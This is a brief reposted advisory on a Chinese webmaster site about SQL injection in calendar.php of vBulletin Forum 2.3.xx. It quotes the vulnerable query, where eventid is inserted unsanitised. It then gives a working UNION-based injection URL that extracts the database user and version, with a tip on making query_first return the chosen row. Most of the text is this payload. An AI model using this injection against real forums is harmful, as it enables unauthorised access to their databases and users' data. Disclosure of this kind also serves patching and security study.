vBulletin Forum 2.3.xx SQL Injection
发布时间:2020-05-13 19:29:58 所属栏目:PHP教程 来源:互联网
导读:vBulletin Forum 2.3.xx SQL Injection
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php. -------- Cut from line 585 in calendar.php ---------- else if ($action == "edit") { $eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid, eventdate,event,subject FROM calendar_events WHERE eventid = $eventid"); ----------------------------------------------------- If the MySQL version is greater than 4.00, a UNION attack could be used. ----------------------------------------- ?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate ----------------------------------------- The query_first function will only return the first row of the query result, so make sure it returns ! the one you want. (编辑:焦作站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |